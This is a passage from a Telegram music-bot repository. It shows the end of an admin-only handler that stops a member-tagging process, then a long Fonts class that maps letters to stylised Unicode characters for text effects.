    except UserNotParticipant:
        is_admin = False
    else:
        if participant.status in (
            ChatMemberStatus.ADMINISTRATOR,
            ChatMemberStatus.OWNER
        ):
            is_admin = True
    if not is_admin:
        return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs.")
    else:
        try:
            spam_chats.remove(message.chat.id)
        except:
            pass
        return await message.reply("๏ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss sᴛᴏᴘᴘᴇᴅ ๏")
          


================================================
FILE: BrandrdXMusic/plugins/admins/font.py
================================================
class Fonts:
    def typewriter(text):
        style = {
            "a": "𝚊",
            "b": "𝚋",
            "c": "𝚌",
            "d": "𝚍",
            "e": "𝚎",
            "f": "𝚏",
            "g": "𝚐",
            "h": "𝚑",
            "i": "𝚒",
            "j": "𝚓",
            "k": "𝚔",
            "l": "𝚕",
            "m": "𝚖",
            "n": "𝚗",
            "o": "𝚘",
            "p": "𝚙",
            "q": "𝚚",
            "r": "𝚛",
            "s": "𝚜",
            "t": "𝚝",
            "u": "𝚞",
            "v": "𝚟",
            "w": "𝚠",
            "x": "𝚡",
            "y": "𝚢",
            "z": "𝚣",
            "A": "𝙰",
            "B": "𝙱",
            "C": "𝙲",
            "D": "𝙳",
            "E": "𝙴",
            "F": "𝙵",
            "G": "𝙶",
            "H": "𝙷",
            "I": "𝙸",
            "J": "𝙹",
            "K": "𝙺",
            "L": "𝙻",
            "M": "𝙼",
            "N": "𝙽",
            "O": "𝙾",
            "P": "𝙿",
            "Q": "𝚀",
            "R": "𝚁",
            "S": "𝚂",
            "T": "𝚃",
            "U": "𝚄",
            "V": "𝚅",
            "W": "𝚆",
            "X": "𝚇",
            "Y": "𝚈",
            "Z": "𝚉",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def outline(text):
        style = {
            "a": "𝕒",
            "b": "𝕓",
            "c": "𝕔",
            "d": "𝕕",
            "e": "𝕖",
            "f": "𝕗",
            "g": "𝕘",
            "h": "𝕙",
            "i": "𝕚",
            "j": "𝕛",
            "k": "𝕜",
            "l": "𝕝",
            "m": "𝕞",
            "n": "𝕟",
            "o": "𝕠",
            "p": "𝕡",
            "q": "𝕢",
            "r": "𝕣",
            "s": "𝕤",
            "t": "𝕥",
            "u": "𝕦",
            "v": "𝕧",
            "w": "𝕨",
            "x": "𝕩",
            "y": "𝕪",
            "z": "𝕫",
            "A": "𝔸",
            "B": "𝔹",
            "C": "ℂ",
            "D": "𝔻",
            "E": "𝔼",
            "F": "𝔽",
            "G": "𝔾",
            "H": "ℍ",
            "I": "𝕀",
            "J": "𝕁",
            "K": "𝕂",
            "L": "𝕃",
            "M": "𝕄",
            "N": "ℕ",
            "O": "𝕆",
            "P": "ℙ",
            "Q": "ℚ",
            "R": "ℝ",
            "S": "𝕊",
            "T": "𝕋",
            "U": "𝕌",
            "V": "𝕍",
            "W": "𝕎",
            "X": "𝕏",
            "Y": "𝕐",
            "Z": "ℤ",
            "0": "𝟘",
            "1": "𝟙",
            "2": "𝟚",
            "3": "𝟛",
            "4": "𝟜",
            "5": "𝟝",
            "6": "𝟞",
            "7": "𝟟",
            "8": "𝟠",
            "9": "𝟡",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def serief(text):
        style = {
            "a": "𝐚",
            "b": "𝐛",
            "c": "𝐜",
            "d": "𝐝",
            "e": "𝐞",
            "f": "𝐟",
            "g": "𝐠",
            "h": "𝐡",
            "i": "𝐢",
            "j": "𝐣",
            "k": "𝐤",
            "l": "𝐥",
            "m": "𝐦",
            "n": "𝐧",
            "o": "𝐨",
            "p": "𝐩",
            "q": "𝐪",
            "r": "𝐫",
            "s": "𝐬",
            "t": "𝐭",
            "u": "𝐮",
            "v": "𝐯",
            "w": "𝐰",
            "x": "𝐱",
            "y": "𝐲",
            "z": "𝐳",
            "A": "𝐀",
            "B": "𝐁",
            "C": "𝐂",
            "D": "𝐃",
            "E": "𝐄",
            "F": "𝐅",
            "G": "𝐆",
            "H": "𝐇",
            "I": "𝐈",
            "J": "𝐉",
            "K": "𝐊",
            "L": "𝐋",
            "M": "𝐌",
            "N": "𝐍",
            "O": "𝐎",
            "P": "𝐏",
            "Q": "𝐐",
            "R": "𝐑",
            "S": "𝐒",
            "T": "𝐓",
            "U": "𝐔",
            "V": "𝐕",
            "W": "𝐖",
            "X": "𝐗",
            "Y": "𝐘",
            "Z": "𝐙",
            "0": "𝟎",
            "1": "𝟏",
            "2": "𝟐",
            "3": "𝟑",
            "4": "𝟒",
            "5": "𝟓",
            "6": "𝟔",
            "7": "𝟕",
            "8": "𝟖",
            "9": "𝟗",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def bold_cool(text):
        style = {
            "a": "𝒂",
            "b": "𝒃",
            "c": "𝒄",
            "d": "𝒅",
            "e": "𝒆",
            "f": "𝒇",
            "g": "𝒈",
            "h": "𝒉",
            "i": "𝒊",
            "j": "𝒋",
            "k": "𝒌",
            "l": "𝒍",
            "m": "𝒎",
            "n": "𝒏",
            "o": "𝒐",
            "p": "𝒑",
            "q": "𝒒",
            "r": "𝒓",
            "s": "𝒔",
            "t": "𝒕",
            "u": "𝒖",
            "v": "𝒗",
            "w": "𝒘",
            "x": "𝒙",
            "y": "𝒚",
            "z": "𝒛",
            "A": "𝑨",
            "B": "𝑩",
            "C": "𝑪",
            "D": "𝑫",
            "E": "𝑬",
            "F": "𝑭",
            "G": "𝑮",
            "H": "𝑯",
            "I": "𝑰",
            "J": "𝑱",
            "K": "𝑲",
            "L": "𝑳",
            "M": "𝑴",
            "N": "𝑵",
            "O": "𝑶",
            "P": "𝑷",
            "Q": "𝑸",
            "R": "𝑹",
            "S": "𝑺",
            "T": "𝑻",
            "U": "𝑼",
            "V": "𝑽",
            "W": "𝑾",
            "X": "𝑿",
            "Y": "𝒀",
            "Z": "𝒁",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def cool(text):
        style = {
            "a": "𝑎",
            "b": "𝑏",
            "c": "𝑐",
            "d": "𝑑",
            "e": "𝑒",
            "f": "𝑓",
            "g": "𝑔",
            "h": "ℎ",
            "i": "𝑖",
            "j": "𝑗",
            "k": "𝑘",
            "l": "𝑙",
            "m": "𝑚",
            "n": "𝑛",
            "o": "𝑜",
            "p": "𝑝",
            "q": "𝑞",
            "r": "𝑟",
            "s": "𝑠",
            "t": "𝑡",
            "u": "𝑢",
            "v": "𝑣",
            "w": "𝑤",
            "x": "𝑥",
            "y": "𝑦",
            "z": "𝑧",
            "A": "𝐴",
            "B": "𝐵",
            "C": "𝐶",
            "D": "𝐷",
            "E": "𝐸",
            "F": "𝐹",
            "G": "𝐺",
            "H": "𝐻",
            "I": "𝐼",
            "J": "𝐽",
            "K": "𝐾",
            "L": "𝐿",
            "M": "𝑀",
            "N": "𝑁",
            "O": "𝑂",
            "P": "𝑃",
            "Q": "𝑄",
            "R": "𝑅",
            "S": "𝑆",
            "T": "𝑇",
            "U": "𝑈",
            "V": "𝑉",
            "W": "𝑊",
            "X": "𝑋",
            "Y": "𝑌",
            "Z": "𝑍",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def smallcap(text):
        style = {
            "a": "ᴀ",
            "b": "ʙ",
            "c": "ᴄ",
            "d": "ᴅ",
            "e": "ᴇ",
            "f": "ғ",
            "g": "ɢ",
            "h": "ʜ",
            "i": "ɪ",
            "j": "J",
            "k": "ᴋ",
            "l": "ʟ",
            "m": "ᴍ",
            "n": "ɴ",
            "o": "ᴏ",
            "p": "ᴘ",
            "q": "ǫ",
            "r": "ʀ",
            "s": "s",
            "t": "ᴛ",
            "u": "ᴜ",
            "v": "ᴠ",
            "w": "ᴡ",
            "x": "x",
            "y": "ʏ",
            "z": "ᴢ",
            "A": "A",
            "B": "B",
            "C": "C",
            "D": "D",
            "E": "E",
            "F": "F",
            "G": "G",
            "H": "H",
            "I": "I",
            "J": "J",
            "K": "K",
            "L": "L",
            "M": "M",
            "N": "N",
            "O": "O",
            "P": "P",
            "Q": "Q",
            "R": "R",
            "S": "S",
            "T": "T",
            "U": "U",
            "V": "V",
            "W": "W",
            "X": "X",
            "Y": "Y",
            "Z": "Z",
            "0": "𝟶",
            "1": "𝟷",
            "2": "𝟸",
            "3": "𝟹",
            "4": "𝟺",
            "5": "𝟻",
            "6": "𝟼",
            "7": "𝟽",
            "8": "𝟾",
            "9": "𝟿",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def script(text):
        style = {
            "a": "𝒶",
            "b": "𝒷",
            "c": "𝒸",
            "d": "𝒹",
            "e": "ℯ",
            "f": "𝒻",
            "g": "ℊ",
            "h": "𝒽",
            "i": "𝒾",
            "j": "𝒿",
            "k": "𝓀",
            "l": "𝓁",
            "m": "𝓂",
            "n": "𝓃",
            "o": "ℴ",
            "p": "𝓅",
            "q": "𝓆",
            "r": "𝓇",
            "s": "𝓈",
            "t": "𝓉",
            "u": "𝓊",
            "v": "𝓋",
            "w": "𝓌",
            "x": "𝓍",
            "y": "𝓎",
            "z": "𝓏",
            "A": "𝒜",
            "B": "ℬ",
            "C": "𝒞",
            "D": "𝒟",
            "E": "ℰ",
            "F": "ℱ",
            "G": "𝒢",
            "H": "ℋ",
            "I": "ℐ",
            "J": "𝒥",
            "K": "𝒦",
            "L": "ℒ",
            "M": "ℳ",
            "N": "𝒩",
            "O": "𝒪",
            "P": "𝒫",
            "Q": "𝒬",
            "R": "ℛ",
            "S": "𝒮",
            "T": "𝒯",
            "U": "𝒰",
            "V": "𝒱",
            "W": "𝒲",
            "X": "𝒳",
            "Y": "𝒴",
            "Z": "𝒵",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def bold_script(text):
        style = {
            "a": "𝓪",
            "b": "𝓫",
            "c": "𝓬",
            "d": "𝓭",
            "e": "𝓮",
            "f": "𝓯",
            "g": "𝓰",
            "h": "𝓱",
            "i": "𝓲",
            "j": "𝓳",
            "k": "𝓴",
            "l": "𝓵",
            "m": "𝓶",
            "n": "𝓷",
            "o": "𝓸",
            "p": "𝓹",
            "q": "𝓺",
            "r": "𝓻",
            "s": "𝓼",
            "t": "𝓽",
            "u": "𝓾",
            "v": "𝓿",
            "w": "𝔀",
            "x": "𝔁",
            "y": "𝔂",
            "z": "𝔃",
            "A": "𝓐",
            "B": "𝓑",
            "C": "𝓒",
            "D": "𝓓",
            "E": "𝓔",
            "F": "𝓕",
            "G": "𝓖",
            "H": "𝓗",
            "I": "𝓘",
            "J": "𝓙",
            "K": "𝓚",
            "L": "𝓛",
            "M": "𝓜",
            "N": "𝓝",
            "O": "𝓞",
            "P": "𝓟",
            "Q": "𝓠",
            "R": "𝓡",
            "S": "𝓢",
            "T": "𝓣",
            "U": "𝓤",
            "V": "𝓥",
            "W": "𝓦",
            "X": "𝓧",
            "Y": "𝓨",
            "Z": "𝓩",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def tiny(text):
        style = {
            "a": "ᵃ",
            "b": "ᵇ",
            "c": "ᶜ",
            "d": "ᵈ",
            "e": "ᵉ",
            "f": "ᶠ",
            "g": "ᵍ",
            "h": "ʰ",
            "i": "ⁱ",
            "j": "ʲ",
            "k": "ᵏ",
            "l": "ˡ",
            "m": "ᵐ",
            "n": "ⁿ",
            "o": "ᵒ",
            "p": "ᵖ",
            "q": "ᵠ",
            "r": "ʳ",
            "s": "ˢ",
            "t": "ᵗ",
            "u": "ᵘ",
            "v": "ᵛ",
            "w": "ʷ",
            "x": "ˣ",
            "y": "ʸ",
            "z": "ᶻ",
            "A": "ᵃ",
            "B": "ᵇ",
            "C": "ᶜ",
            "D": "ᵈ",
            "E": "ᵉ",
            "F": "ᶠ",
            "G": "ᵍ",
            "H": "ʰ",
            "I": "ⁱ",
            "J": "ʲ",
            "K": "ᵏ",
            "L": "ˡ",
            "M": "ᵐ",
            "N": "ⁿ",
            "O": "ᵒ",
            "P": "ᵖ",
            "Q": "ᵠ",
            "R": "ʳ",
            "S": "ˢ",
            "T": "ᵗ",
            "U": "ᵘ",
            "V": "ᵛ",
            "W": "ʷ",
            "X": "ˣ",
            "Y": "ʸ",
            "Z": "ᶻ",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def comic(text):
        style = {
            "a": "ᗩ",
            "b": "ᗷ",
            "c": "ᑕ",
            "d": "ᗪ",
            "e": "ᗴ",
            "f": "ᖴ",
            "g": "ᘜ",
            "h": "ᕼ",
            "i": "I",
            "j": "ᒍ",
            "k": "K",
            "l": "ᒪ",
            "m": "ᗰ",
            "n": "ᑎ",
            "o": "O",
            "p": "ᑭ",
            "q": "ᑫ",
            "r": "ᖇ",
            "s": "Տ",
            "t": "T",
            "u": "ᑌ",
            "v": "ᐯ",
            "w": "ᗯ",
            "x": "᙭",
            "y": "Y",
            "z": "ᘔ",
            "A": "ᗩ",
            "B": "ᗷ",
            "C": "ᑕ",
            "D": "ᗪ",
            "E": "ᗴ",
            "F": "ᖴ",
            "G": "ᘜ",
            "H": "ᕼ",
            "I": "I",
            "J": "ᒍ",
            "K": "K",
            "L": "ᒪ",
            "M": "ᗰ",
            "N": "ᑎ",
            "O": "O",
            "P": "ᑭ",
            "Q": "ᑫ",
            "R": "ᖇ",
            "S": "Տ",
            "T": "T",
            "U": "ᑌ",
            "V": "ᐯ",
            "W": "ᗯ",
            "X": "᙭",
            "Y": "Y",
            "Z": "ᘔ",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def san(text):
        style = {
            "a": "𝗮",
            "b": "𝗯",
            "c": "𝗰",
            "d": "𝗱",
            "e": "𝗲",
            "f": "𝗳",
            "g": "𝗴",
            "h": "𝗵",
            "i": "𝗶",
            "j": "𝗷",
            "k": "𝗸",
            "l": "𝗹",
            "m": "𝗺",
            "n": "𝗻",
            "o": "𝗼",
            "p": "𝗽",
            "q": "𝗾",
            "r": "𝗿",
            "s": "𝘀",
            "t": "𝘁",
            "u": "𝘂",
            "v": "𝘃",
            "w": "𝘄",
            "x": "𝘅",
            "y": "𝘆",
            "z": "𝘇",
            "A": "𝗔",
            "B": "𝗕",
            "C": "𝗖",
            "D": "𝗗",
            "E": "𝗘",
            "F": "𝗙",
            "G": "𝗚",
            "H": "𝗛",
            "I": "𝗜",
            "J": "𝗝",
            "K": "𝗞",
            "L": "𝗟",
            "M": "𝗠",
            "N": "𝗡",
            "O": "𝗢",
            "P": "𝗣",
            "Q": "𝗤",
            "R": "𝗥",
            "S": "𝗦",
            "T": "𝗧",
            "U": "𝗨",
            "V": "𝗩",
            "W": "𝗪",
            "X": "𝗫",
            "Y": "𝗬",
            "Z": "𝗭",
            "0": "𝟬",
            "1": "𝟭",
            "2": "𝟮",
            "3": "𝟯",
            "4": "𝟰",
            "5": "𝟱",
            "6": "𝟲",
            "7": "𝟳",
            "8": "𝟴",
            "9": "𝟵",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def slant_san(text):
        style = {
            "a": "𝙖",
            "b": "𝙗",
            "c": "𝙘",
            "d": "𝙙",
            "e": "𝙚",
            "f": "𝙛",
            "g": "𝙜",
            "h": "𝙝",
            "i": "𝙞",
            "j": "𝙟",
            "k": "𝙠",
            "l": "𝙡",
            "m": "𝙢",
            "n": "𝙣",
            "o": "𝙤",
            "p": "𝙥",
            "q": "𝙦",
            "r": "𝙧",
            "s": "𝙨",
            "t": "𝙩",
            "u": "𝙪",
            "v": "𝙫",
            "w": "𝙬",
            "x": "𝙭",
            "y": "𝙮",
            "z": "𝙯",
            "A": "𝘼",
            "B": "𝘽",
            "C": "𝘾",
            "D": "𝘿",
            "E": "𝙀",
            "F": "𝙁",
            "G": "𝙂",
            "H": "𝙃",
            "I": "𝙄",
            "J": "𝙅",
            "K": "𝙆",
            "L": "𝙇",
            "M": "𝙈",
            "N": "𝙉",
            "O": "𝙊",
            "P": "𝙋",
            "Q": "𝙌",
            "R": "𝙍",
            "S": "𝙎",
            "T": "𝙏",
            "U": "𝙐",
            "V": "𝙑",
            "W": "𝙒",
            "X": "𝙓",
            "Y": "𝙔",
            "Z": "𝙕",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def slant(text):
        style = {
            "a": "𝘢",
            "b": "𝘣",
            "c": "𝘤",
            "d": "𝘥",
            "e": "𝘦",
            "f": "𝘧",
            "g": "𝘨",
            "h": "𝘩",
            "i": "𝘪",
            "j": "𝘫",
            "k": "𝘬",
            "l": "𝘭",
            "m": "𝘮",
            "n": "𝘯",
            "o": "𝘰",
            "p": "𝘱",
            "q": "𝘲",
            "r": "𝘳",
            "s": "𝘴",
            "t": "𝘵",
            "u": "𝘶",
            "v": "𝘷",
            "w": "𝘸",
            "x": "𝘹",
            "y": "𝘺",
            "z": "𝘻",
            "A": "𝘈",
            "B": "𝘉",
            "C": "𝘊",
            "D": "𝘋",
            "E": "𝘌",
            "F": "𝘍",
            "G": "𝘎",
            "H": "𝘏",
            "I": "𝘐",
            "J": "𝘑",
            "K": "𝘒",
            "L": "𝘓",
            "M": "𝘔",
            "N": "𝘕",
            "O": "𝘖",
            "P": "𝘗",
            "Q": "𝘘",
            "R": "𝘙",
            "S": "𝘚",
            "T": "𝘛",
            "U": "𝘜",
            "V": "𝘝",
            "W": "𝘞",
            "X": "𝘟",
            "Y": "𝘠",
            "Z": "𝘡",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def sim(text):
        style = {
            "a": "𝖺",
            "b": "𝖻",
            "c": "𝖼",
            "d": "𝖽",
            "e": "𝖾",
            "f": "𝖿",
            "g": "𝗀",
            "h": "𝗁",
            "i": "𝗂",
            "j": "𝗃",
            "k": "𝗄",
            "l": "𝗅",
            "m": "𝗆",
            "n": "𝗇",
            "o": "𝗈",
            "p": "𝗉",
            "q": "𝗊",
            "r": "𝗋",
            "s": "𝗌",
            "t": "𝗍",
            "u": "𝗎",
            "v": "𝗏",
            "w": "𝗐",
            "x": "𝗑",
            "y": "𝗒",
            "z": "𝗓",
            "A": "𝖠",
            "B": "𝖡",
            "C": "𝖢",
            "D": "𝖣",
            "E": "𝖤",
            "F": "𝖥",
            "G": "𝖦",
            "H": "𝖧",
            "I": "𝖨",
            "J": "𝖩",
            "K": "𝖪",
            "L": "𝖫",
            "M": "𝖬",
            "N": "𝖭",
            "O": "𝖮",
            "P": "𝖯",
            "Q": "𝖰",
            "R": "𝖱",
            "S": "𝖲",
            "T": "𝖳",
            "U": "𝖴",
            "V": "𝖵",
            "W": "𝖶",
            "X": "𝖷",
            "Y": "𝖸",
            "Z": "𝖹",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def circles(text):
        style = {
            "a": "Ⓐ︎",
            "b": "Ⓑ︎",
            "c": "Ⓒ︎",
            "d": "Ⓓ︎",
            "e": "Ⓔ︎",
            "f": "Ⓕ︎",
            "g": "Ⓖ︎",
            "h": "Ⓗ︎",
            "i": "Ⓘ︎",
            "j": "Ⓙ︎",
            "k": "Ⓚ︎",
            "l": "Ⓛ︎",
            "m": "Ⓜ︎",
            "n": "Ⓝ︎",
            "o": "Ⓞ︎",
            "p": "Ⓟ︎",
            "q": "Ⓠ︎",
            "r": "Ⓡ︎",
            "s": "Ⓢ︎",
            "t": "Ⓣ︎",
            "u": "Ⓤ︎",
            "v": "Ⓥ︎",
            "w": "Ⓦ︎",
            "x": "Ⓧ︎",
            "y": "Ⓨ︎",
            "z": "Ⓩ︎",
            "A": "Ⓐ︎",
            "B": "Ⓑ︎",
            "C": "Ⓒ︎",
            "D": "Ⓓ︎",
            "E": "Ⓔ︎",
            "F": "Ⓕ︎",
            "G": "Ⓖ︎",
            "H": "Ⓗ︎",
            "I": "Ⓘ︎",
            "J": "Ⓙ︎",
            "K": "Ⓚ︎",
            "L": "Ⓛ︎",
            "M": "Ⓜ︎",
            "N": "Ⓝ︎",
            "O": "Ⓞ︎",
            "P": "Ⓟ︎",
            "Q": "Ⓠ︎",
            "R": "Ⓡ︎",
            "S": "Ⓢ︎",
            "T": "Ⓣ︎",
            "U": "Ⓤ︎",
            "V": "Ⓥ︎",
            "W": "Ⓦ︎",
            "X": "Ⓧ︎",
            "Y": "Ⓨ︎",
            "Z": "Ⓩ︎",
            "0": "⓪",
            "1": "①",
            "2": "②",
            "3": "③",
            "4": "④",
            "5": "⑤",
            "6": "⑥",
            "7": "⑦",
            "8": "⑧",
            "9": "⑨",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def dark_circle(text):
        style = {
            "a": "🅐︎",
            "b": "🅑︎",
            "c": "🅒︎",
            "d": "🅓︎",
            "e": "🅔︎",
            "f": "🅕︎",
            "g": "🅖︎",
            "h": "🅗︎",
            "i": "🅘︎",
            "j": "🅙︎",
            "k": "🅚︎",
            "l": "🅛︎",
            "m": "🅜︎",
            "n": "🅝︎",
            "o": "🅞︎",
            "p": "🅟︎",
            "q": "🅠︎",
            "r": "🅡︎",
            "s": "🅢︎",
            "t": "🅣︎",
            "u": "🅤︎",
            "v": "🅥︎",
            "w": "🅦︎",
            "x": "🅧︎",
            "y": "🅨︎",
            "z": "🅩︎",
            "A": "🅐︎",
            "B": "🅑︎",
            "C": "🅒︎",
            "D": "🅓︎",
            "E": "🅔︎",
            "F": "🅕︎",
            "G": "🅖︎",
            "H": "🅗︎",
            "I": "🅘︎",
            "J": "🅙︎",
            "K": "🅚︎",
            "L": "🅛︎",
            "M": "🅜︎",
            "N": "🅝︎",
            "O": "🅞︎",
            "P": "🅟︎",
            "Q": "🅠︎",
            "R": "🅡︎",
            "S": "🅢︎",
            "T": "🅣︎",
            "U": "🅤︎",
            "V": "🅥︎",
            "W": "🅦︎",
            "X": "🅧︎",
            "Y": "🅨︎",
            "Z": "🅩",
            "0": "⓿",
            "1": "➊",
            "2": "➋",
            "3": "➌",
            "4": "➍",
            "5": "➎",
            "6": "➏",
            "7": "➐",
            "8": "➑",
            "9": "➒",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def gothic(text):
        style = {
            "a": "𝔞",
            "b": "𝔟",
            "c": "𝔠",
            "d": "𝔡",
            "e": "𝔢",
            "f": "𝔣",
            "g": "𝔤",
            "h": "𝔥",
            "i": "𝔦",
            "j": "𝔧",
            "k": "𝔨",
            "l": "𝔩",
            "m": "𝔪",
            "n": "𝔫",
            "o": "𝔬",
            "p": "𝔭",
            "q": "𝔮",
            "r": "𝔯",
            "s": "𝔰",
            "t": "𝔱",
            "u": "𝔲",
            "v": "𝔳",
            "w": "𝔴",
            "x": "𝔵",
            "y": "𝔶",
            "z": "𝔷",
            "A": "𝔄",
            "B": "𝔅",
            "C": "ℭ",
            "D": "𝔇",
            "E": "𝔈",
            "F": "𝔉",
            "G": "𝔊",
            "H": "ℌ",
            "I": "ℑ",
            "J": "𝔍",
            "K": "𝔎",
            "L": "𝔏",
            "M": "𝔐",
            "N": "𝔑",
            "O": "𝔒",
            "P": "𝔓",
            "Q": "𝔔",
            "R": "ℜ",
            "S": "𝔖",
            "T": "𝔗",
            "U": "𝔘",
            "V": "𝔙",
            "W": "𝔚",
            "X": "𝔛",
            "Y": "𝔜",
            "Z": "ℨ",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def bold_gothic(text):
        style = {
            "a": "𝖆",
            "b": "𝖇",
            "c": "𝖈",
            "d": "𝖉",
            "e": "𝖊",
            "f": "𝖋",
            "g": "𝖌",
            "h": "𝖍",
            "i": "𝖎",
            "j": "𝖏",
            "k": "𝖐",
            "l": "𝖑",
            "m": "𝖒",
            "n": "𝖓",
            "o": "𝖔",
            "p": "𝖕",
            "q": "𝖖",
            "r": "𝖗",
            "s": "𝖘",
            "t": "𝖙",
            "u": "𝖚",
            "v": "𝖛",
            "w": "𝖜",
            "x": "𝖝",
            "y": "𝖞",
            "z": "𝖟",
            "A": "𝕬",
            "B": "𝕭",
            "C": "𝕮",
            "D": "𝕺",
            "E": "𝕰",
            "F": "𝕱",
            "G": "𝕲",
            "H": "𝕳",
            "I": "𝕴",
            "J": "𝕵",
            "K": "𝕶",
            "L": "𝕷",
            "M": "𝕸",
            "N": "𝕹",
            "O": "𝕺",
            "P": "𝕻",
            "Q": "𝕼",
            "R": "𝕽",
            "S": "𝕾",
            "T": "𝕿",
            "U": "𝖀",
            "V": "𝖁",
            "W": "𝖂",
            "X": "𝖃",
            "Y": "𝖄",
            "Z": "𝖅",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def cloud(text):
        style = {
            "a": "a͜͡",
            "b": "b͜͡",
            "c": "c͜͡",
            "d": "d͜͡",
            "e": "e͜͡",
            "f": "f͜͡",
            "g": "g͜͡",
            "h": "h͜͡",
            "i": "i͜͡",
            "j": "j͜͡",
            "k": "k͜͡",
            "l": "l͜͡",
            "m": "m͜͡",
            "n": "n͜͡",
            "o": "o͜͡",
            "p": "p͜͡",
            "q": "q͜͡",
            "r": "r͜͡",
            "s": "s͜͡",
            "t": "t͜͡",
            "u": "u͜͡",
            "v": "v͜͡",
            "w": "w͜͡",
            "x": "x͜͡",
            "y": "y͜͡",
            "z": "z͜͡",
            "A": "A͜͡",
            "B": "B͜͡",
            "C": "C͜͡",
            "D": "D͜͡",
            "E": "E͜͡",
            "F": "F͜͡",
            "G": "G͜͡",
            "H": "H͜͡",
            "I": "I͜͡",
            "J": "J͜͡",
            "K": "K͜͡",
            "L": "L͜͡",
            "M": "M͜͡",
            "N": "N͜͡",
            "O": "O͜͡",
            "P": "P͜͡",
            "Q": "Q͜͡",
            "R": "R͜͡",
            "S": "S͜͡",
            "T": "T͜͡",
            "U": "U͜͡",
            "V": "V͜͡",
            "W": "W͜͡",
            "X": "X͜͡",
            "Y": "Y͜͡",
            "Z": "Z͜͡",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def happy(text):
        style = {
            "a": "ă̈",
            "b": "b̆̈",
            "c": "c̆̈",
            "d": "d̆̈",
            "e": "ĕ̈",
            "f": "f̆̈",
            "g": "ğ̈",
            "h": "h̆̈",
            "i": "ĭ̈",
            "j": "j̆̈",
            "k": "k̆̈",
            "l": "l̆̈",
            "m": "m̆̈",
            "n": "n̆̈",
            "o": "ŏ̈",
            "p": "p̆̈",
            "q": "q̆̈",
            "r": "r̆̈",
            "s": "s̆̈",
            "t": "t̆̈",
            "u": "ŭ̈",
            "v": "v̆̈",
            "w": "w̆̈",
            "x": "x̆̈",
            "y": "y̆̈",
            "z": "z̆̈",
            "A": "Ă̈",
            "B": "B̆̈",
            "C": "C̆̈",
            "D": "D̆̈",
            "E": "Ĕ̈",
            "F": "F̆̈",
            "G": "Ğ̈",
            "H": "H̆̈",
            "I": "Ĭ̈",
            "J": "J̆̈",
            "K": "K̆̈",
            "L": "L̆̈",
            "M": "M̆̈",
            "N": "N̆̈",
            "O": "Ŏ̈",
            "P": "P̆̈",
            "Q": "Q̆̈",
            "R": "R̆̈",
            "S": "S̆̈",
            "T": "T̆̈",
            "U": "Ŭ̈",
            "V": "V̆̈",
            "W": "W̆̈",
            "X": "X̆̈",
            "Y": "Y̆̈",
            "Z": "Z̆̈",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def sad(text):
        style = {
            "a": "ȃ̈",
            "b": "b̑̈",
            "c": "c̑̈",
            "d": "d̑̈",
            "e": "ȇ̈",
            "f": "f̑̈",
            "g": "g̑̈",
            "h": "h̑̈",
            "i": "ȋ̈",
            "j": "j̑̈",
            "k": "k̑̈",
            "l": "l̑̈",
            "m": "m̑̈",
            "n": "n̑̈",
            "o": "ȏ̈",
            "p": "p̑̈",
            "q": "q̑̈",
            "r": "ȓ̈",
            "s": "s̑̈",
            "t": "t̑̈",
            "u": "ȗ̈",
            "v": "v̑̈",
            "w": "w̑̈",
            "x": "x̑̈",
            "y": "y̑̈",
            "z": "z̑̈",
            "A": "Ȃ̈",
            "B": "B̑̈",
            "C": "C̑̈",
            "D": "D̑̈",
            "E": "Ȇ̈",
            "F": "F̑̈",
            "G": "G̑̈",
            "H": "H̑̈",
            "I": "Ȋ̈",
            "J": "J̑̈",
            "K": "K̑̈",
            "L": "L̑̈",
            "M": "M̑̈",
            "N": "N̑̈",
            "O": "Ȏ̈",
            "P": "P̑̈",
            "Q": "Q̑̈",
            "R": "Ȓ̈",
            "S": "S̑̈",
            "T": "T̑̈",
            "U": "Ȗ̈",
            "V": "V̑̈",
            "W": "W̑̈",
            "X": "X̑̈",
            "Y": "Y̑̈",
            "Z": "Z̑̈",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def special(text):
        style = {
            "a": "🇦 ",
            "b": "🇧 ",
            "c": "🇨 ",
            "d": "🇩 ",
            "e": "🇪 ",
            "f": "🇫 ",
            "g": "🇬 ",
            "h": "🇭 ",
            "i": "🇮 ",
            "j": "🇯 ",
            "k": "🇰 ",
            "l": "🇱 ",
            "m": "🇲 ",
            "n": "🇳 ",
            "o": "🇴 ",
            "p": "🇵 ",
            "q": "🇶 ",
            "r": "🇷 ",
            "s": "🇸 ",
            "t": "🇹 ",
            "u": "🇺 ",
            "v": "🇻 ",
            "w": "🇼 ",
            "x": "🇽 ",
            "y": "🇾 ",
            "z": "🇿 ",
            "A": "🇦 ",
            "B": "🇧 ",
            "C": "🇨 ",
            "D": "🇩 ",
            "E": "🇪 ",
            "F": "🇫 ",
            "G": "🇬 ",
            "H": "🇭 ",
            "I": "🇮 ",
            "J": "🇯 ",
            "K": "🇰 ",
            "L": "🇱 ",
            "M": "🇲 ",
            "N": "🇳 ",
            "O": "🇴 ",
            "P": "🇵 ",
            "Q": "🇶 ",
            "R": "🇷 ",
            "S": "🇸 ",
